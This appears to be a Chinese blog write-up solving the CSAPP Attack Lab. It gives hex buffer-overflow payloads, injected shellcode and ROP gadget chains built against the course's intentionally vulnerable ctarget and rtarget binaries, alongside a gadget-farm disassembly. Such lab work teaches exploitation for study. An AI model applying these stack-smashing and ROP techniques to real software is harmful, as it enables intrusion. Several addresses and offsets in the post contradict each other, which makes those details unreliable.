CSAPP:3e Attacklab實驗記錄

閱讀實驗手冊,開始做Attacklab.

CTARGET Phase 1

第一個Attack Phase要求調用存在的函數touch1.這個簡單,自需要將touch1的首地址覆蓋棧中的返回地址就行。
首先使用gdb調試ctarget,反彙編出getbuf的彙編代碼:
disas getbuf
可以發現這裏分配了0x28(十進制是40)Bytes的棧幀。由於棧是低地址方向增長的,所以只要在%rsp+40的位置存入touch1的起始地址就好。通過反彙編touch1的代碼,不難發現touch1的起始地址是0x4017c0:
disas touch1
所以構造字符串,前40個字節隨意(但是不能取0A,因爲0A是換行符,ctarget程序根據換行符判定輸入結束),然後後面跟上0x4017c0(注意此時要轉換爲小端法表示):
文件
保存爲phase1.txt。
輸入命令判題:
phase1
Phase1通過。

Phase 2

Phase2要求注入一小段代碼,帶參數調用touch2(unsigned)函數。
首先在實驗手冊裏看到touch2需要判斷一下你的cookie:
CSAPP ATTACKLAB PDF1
這個cookie是程序生成的一個隨機數,在啓動ctarget程序時有顯示。
反彙編touch2函數,發現touch2函數的首地址是0x4017ec:
在這裏插入圖片描述
準備將代碼注入到getbuf的棧幀裏,實驗手冊已經說了ctarget的棧地址是固定的,這就方便了注入代碼。在gdb調試下發現棧幀地址是0x5561dc78:
gdb1

先羅列一下已有的信息:
Stack Address:0x5561dc78
function touch2 address:0x00000000004017ec
Cookie:0x59b997fa
然後開始寫注入的代碼。寫的這段代碼的目的是爲了帶參調用touch2.

fun2:
	movl $0x59b997fa,%edi
	pushq $0x4017ec
	ret

彙編出目標文件,再使用objdump -d反彙編到phase2.txt:


phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <fun2>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	68 ec 17 40 00       	pushq  $0x4017ec
   a:	c3                   	retq   

保留二進制部分,補全40個字節,然後在後面附加上返回到棧幀的地址,
得到文件phase2.txt:

bf fa 97 b9 59       	/* movl   $0x59b997fa,%edi */
68 ec 17 40 00 /* movq   $0x4017ec,(%rsp) */
c3                   	/* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
78 dc 61 55 00 00 00 00

輸入命令判題:

phase2 result

PS:其實將注入程序寫成這樣也是可以的:

fun2:
	movl $0x59b997fa,%edi
	subq $8,%rsp
	movq $0x4017ec,(%rsp)
	ret

CTARGET Phase 3

首先閱讀handout文檔。文檔上強調了getbuf所分配的棧幀可能會被hexmatch函數和strncmp函數覆蓋。所以我們選擇getbuf的父棧幀,即test函數的棧幀來存放我們的字符串。反正我們又不會返回到test函數,程序在touch3函數體裏就終止執行了。

我們首先由上題確定了棧幀地址爲0x5561dc78,反彙編touch3函數發現touch3函數起始地址爲0x4018fa,由於我們決定將字符串存放在父棧幀裏,因此字符串距離我們的棧幀的起始地址有40字節的距離(由上題知道函數getbuf分配了40字節的棧幀)於是字符串的起始地址是0x5561dc78+40Bytes=0x5561dc97。

於是我們來編寫注入代碼:

movq    $0x5561dc97,%rdi
pushq  $0x4018fa
retq

將其彙編後,在代碼和返回地址之間填充進27Bytes的佔位符,在最後填上字符串的ASCII串:

48 c7 c7 a8 dc 61 55    /* movq    $0x5561dc97,%rdi */
68 fa 18 40 00          /* pushq  $0x4018fa */
c3                      /* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef /* useless bytes.total 27 bytes */
78 dc 61 55 00 00 00 00 /* Start of code area */
35 39 62 39 39 37 66 61 00 /* little endian representation of string '59b997fa' , this string will fill in function test`s stack frame */

運行程序測試,通過。
PASS-PHASE3

RTARGET Phase 2

RTARGET Phase 2 要求從已有的代碼裏面找到攻擊所需的代碼組成gadget來重複前面的CTARGET Phase 2實驗。
首先在gdb ./rtarget裏鍵入命令disas /r start_farm, mid_farm查看位於start_farm和mid_farm之間的所有指令及其編碼:
ASAS
由於上面的二進制並沒有編碼我所需的COOKIE值0x59b997fa,所以需要將這個值放入堆棧,再使用popq指令彈出並複製到%rdi寄存器。

觀察反編譯結果,需要找到一個popq指令和movq指令,因此需要分爲兩個Gadget,這兩個指令後面都要直接跟着0xc3(retq)返回指令或者中間有0x90(nop)指令。

先來找Gadget1。popq指令的編碼是0x58-0x5f,觀察上圖得知起始地址爲0x4019cc的編碼符合要求:

58 90 c3這三個16進制分別編碼popq %rax、nop、retq三條指令。

再來找Gadget2。
movq指令的編碼都是0x48 0x89開頭的,因此很快鎖定到起始地址0x4017ec。這個地址下有4個16進制:48 89 c7 c3,分別編碼
movq %rax,%rdi 、retq兩條指令,剛好符合要求。

大致畫一下堆棧分佈圖:

地址 空間作用 實際內容
%rsp+32 touch2函數起始地址 0x4017ec
%rsp+24 Gadget2 起始地址 0x4019a2
%rsp+16 COOKIE值 0x59b997fa
%rsp+8 Gadget1 起始地址 0x4019cc

因此構造攻擊文本如下:

ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
cc 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

運行程序,順利通過:
SUCC2

RTARGET Phase 3

本題跟RTARGET Phase2差不多,同樣是要求用已有的代碼組合起來,實現CTARGET Phase 3的功能。
首先反彙編出start_farm到end_farm的所有指令,然後根據實驗手冊上的圖(如下圖)標註出所有可能的指令:
Codings

<start_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x0000000000401999 <start_farm+5>: c3 retq
0x000000000040199a <getval_142+0>: b8 fb 78 90 90 mov $0x909078fb,%eax
0x000000000040199f <getval_142+5>: c3 retq
0x00000000004019a0 <addval_273+0>: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
0x00000000004019a6 <addval_273+6>: c3 retq
0x00000000004019a7 <addval_219+0>: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax //58 90 c3 表示popq %rax;nop;ret
0x00000000004019ad <addval_219+6>: c3 retq
0x00000000004019ae <setval_237+0>: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
0x00000000004019b4 <setval_237+6>: c3 retq
0x00000000004019b5 <setval_424+0>: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
0x00000000004019bb <setval_424+6>: c3 retq
0x00000000004019bc <setval_470+0>: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
0x00000000004019c2 <setval_470+6>: c3 retq
0x00000000004019c3 <setval_426+0>: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) //48 89 c7表示movq rdx,%rdi;89 c7表示movl edx,%edi;90表示nop
0x00000000004019c9 <setval_426+6>: c3 retq
0x00000000004019ca <getval_280+0>: b8 29 58 90 c3 mov $0xc3905829,%eax
0x00000000004019cf <getval_280+5>: c3 retq
0x00000000004019d0 <mid_farm+0>: b8 01 00 00 00 mov $0x1,%eax
0x00000000004019d5 <mid_farm+5>: c3 retq
0x00000000004019d6 <add_xy+0>: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
0x00000000004019da <add_xy+4>: c3 retq
0x00000000004019db <getval_481+0>: b8 5c 89 c2 90 mov $0x90c2895c,%eax //89 c2 90表示movl %eax,%edx
0x00000000004019e0 <getval_481+5>: c3 retq
0x00000000004019e1 <setval_296+0>: c7 07 99 d1 90 90 movl $0x9090d199,(%rdi)
0x00000000004019e7 <setval_296+6>: c3 retq
0x00000000004019e8 <addval_113+0>: 8d 87 89 ce 78 c9 lea -0x36873177(%rdi),%eax
0x00000000004019ee <addval_113+6>: c3 retq
0x00000000004019ef <addval_490+0>: 8d 87 8d d1 20 db lea -0x24df2e73(%rdi),%eax
0x00000000004019f5 <addval_490+6>: c3 retq
0x00000000004019f6 <getval_226+0>: b8 89 d1 48 c0 mov $0xc048d189,%eax
0x00000000004019fb <getval_226+5>: c3 retq
0x00000000004019fc <setval_384+0>: c7 07 81 d1 84 c0 movl $0xc084d181,(%rdi)
0x0000000000401a02 <setval_384+6>: c3 retq
0x0000000000401a03 <addval_190+0>: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax //48 89 e0表示movq %rsp,%rax
0x0000000000401a09 <addval_190+6>: c3 retq
0x0000000000401a0a <setval_276+0>: c7 07 88 c2 08 c9 movl $0xc908c288,(%rdi)
0x0000000000401a10 <setval_276+6>: c3 retq
0x0000000000401a11 <addval_436+0>: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax //89 ce 90 90表示movl %ecx,%esi;nop;nop
0x0000000000401a17 <addval_436+6>: c3 retq
0x0000000000401a18 <getval_345+0>: b8 48 89 e0 c1 mov $0xc1e08948,%eax
0x0000000000401a1d <getval_345+5>: c3 retq
0x0000000000401a1e <addval_479+0>: 8d 87 89 c2 00 c9 lea -0x36ff3d77(%rdi),%eax
0x0000000000401a24 <addval_479+6>: c3 retq
0x0000000000401a25 <addval_187+0>: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax //89 ce 38 c0表示movl %ecx,%esi;cmpb %al,%al;注意此時cmpb對於程序沒有任何影響,在此相當於nop空操作。
0x0000000000401a2b <addval_187+6>: c3 retq
0x0000000000401a2c <setval_248+0>: c7 07 81 ce 08 db movl $0xdb08ce81,(%rdi)
0x0000000000401a32 <setval_248+6>: c3 retq
0x0000000000401a33 <getval_159+0>: b8 89 d1 38 c9 mov $0xc938d189,%eax //89 d1 38 c9表示movl %edx,%ecx;cmpb %cl,%cl(此時cmpb相當於nop)
0x0000000000401a38 <getval_159+5>: c3 retq
0x0000000000401a39 <addval_110+0>: 8d 87 c8 89 e0 c3 lea -0x3c1f7638(%rdi),%eax
0x0000000000401a3f <addval_110+6>: c3 retq
0x0000000000401a40 <addval_487+0>: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax //89 c2 84 c0表示movl %eax,%edx;testb %al,%al ;注意此時testb對於程序沒有任何影響,在此相當於nop空操作。
0x0000000000401a46 <addval_487+6>: c3 retq
0x0000000000401a47 <addval_201+0>: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
0x0000000000401a4d <addval_201+6>: c3 retq
0x0000000000401a4e <getval_272+0>: b8 99 d1 08 d2 mov $0xd208d199,%eax
0x0000000000401a53 <getval_272+5>: c3 retq
0x0000000000401a54 <getval_155+0>: b8 89 c2 c4 c9 mov $0xc9c4c289,%eax
0x0000000000401a59 <getval_155+5>: c3 retq
0x0000000000401a5a <setval_299+0>: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
0x0000000000401a60 <setval_299+6>: c3 retq
0x0000000000401a61 <addval_404+0>: 8d 87 89 ce 92 c3 lea -0x3c6d3177(%rdi),%eax
0x0000000000401a67 <addval_404+6>: c3 retq
0x0000000000401a68 <getval_311+0>: b8 89 d1 08 db mov $0xdb08d189,%eax
0x0000000000401a6d <getval_311+5>: c3 retq
0x0000000000401a6e <setval_167+0>: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
0x0000000000401a74 <setval_167+6>: c3 retq
0x0000000000401a75 <setval_328+0>: c7 07 81 c2 38 d2 movl $0xd238c281,(%rdi)
0x0000000000401a7b <setval_328+6>: c3 retq
0x0000000000401a7c <setval_450+0>: c7 07 09 ce 08 c9 movl $0xc908ce09,(%rdi)
0x0000000000401a82 <setval_450+6>: c3 retq
0x0000000000401a83 <addval_358+0>: 8d 87 08 89 e0 90 lea -0x6f1f76f8(%rdi),%eax
0x0000000000401a89 <addval_358+6>: c3 retq
0x0000000000401a8a <addval_124+0>: 8d 87 89 c2 c7 3c lea 0x3cc7c289(%rdi),%eax
0x0000000000401a90 <addval_124+6>: c3 retq
0x0000000000401a91 <getval_169+0>: b8 88 ce 20 c0 mov $0xc020ce88,%eax
0x0000000000401a96 <getval_169+5>: c3 retq
0x0000000000401a97 <setval_181+0>: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
0x0000000000401a9d <setval_181+6>: c3 retq
0x0000000000401a9e <addval_184+0>: 8d 87 89 c2 60 d2 lea -0x2d9f3d77(%rdi),%eax
0x0000000000401aa4 <addval_184+6>: c3 retq
0x0000000000401aa5 <getval_472+0>: b8 8d ce 20 d2 mov $0xd220ce8d,%eax
0x0000000000401aaa <getval_472+5>: c3 retq
0x0000000000401aab <setval_350+0>: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
0x0000000000401ab1 <setval_350+6>: c3 retq

然後就可以大致定下攻擊方案:將字符串放在棧裏,爲了能夠找到字符串的位置,需要將棧頂的位置取出來,加上棧內字符串位置的偏移,形成字符串地址,方案大致如下(A–>B 表示將A賦值給B)
%rsp–>%rax–>%rdi (獲取棧頂基址)
popq %rax;%eax–>%edx–>%ecx–>%esi (獲取字符串地址偏移)
%rdi+%rsi–>%rax–>%rdi (基址+偏移得到字符串地址並作爲參數傳遞)

棧的分佈如下:(地址空間向上增長)

類型 內容
實際字符串 字符串內容
函數地址 touch3函數起始地址
Gadget %rax–>%rdi
Gadget %rdi+%rsi–>%rax
Gadget %ecx–>%esi
Gadget %edx–>%ecx
Gadget %eax–>%edx
偏移值 字符串偏移值
Gadget popq %rax
Gadget %rax–>%rdt
Gadget %rsp–>rax

最後需要計算字符串偏移值。注意到執行第一個Gadget%rsp-->rax時,rsp實際上指向第二個Gadget起始地址,所以字符串的偏移值應該是9x8Byte=72Byte,即十六進制值0x48。

構造攻擊字符串如下:(前40個ef是填充buf用,後面是棧內對應的內容(Gadget爲對應的地址)的倒序排列)

ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
ef ef ef ef ef ef ef ef
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

只用了8個Gadget,完美。

運行程序,通過測試:
PASSR3

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章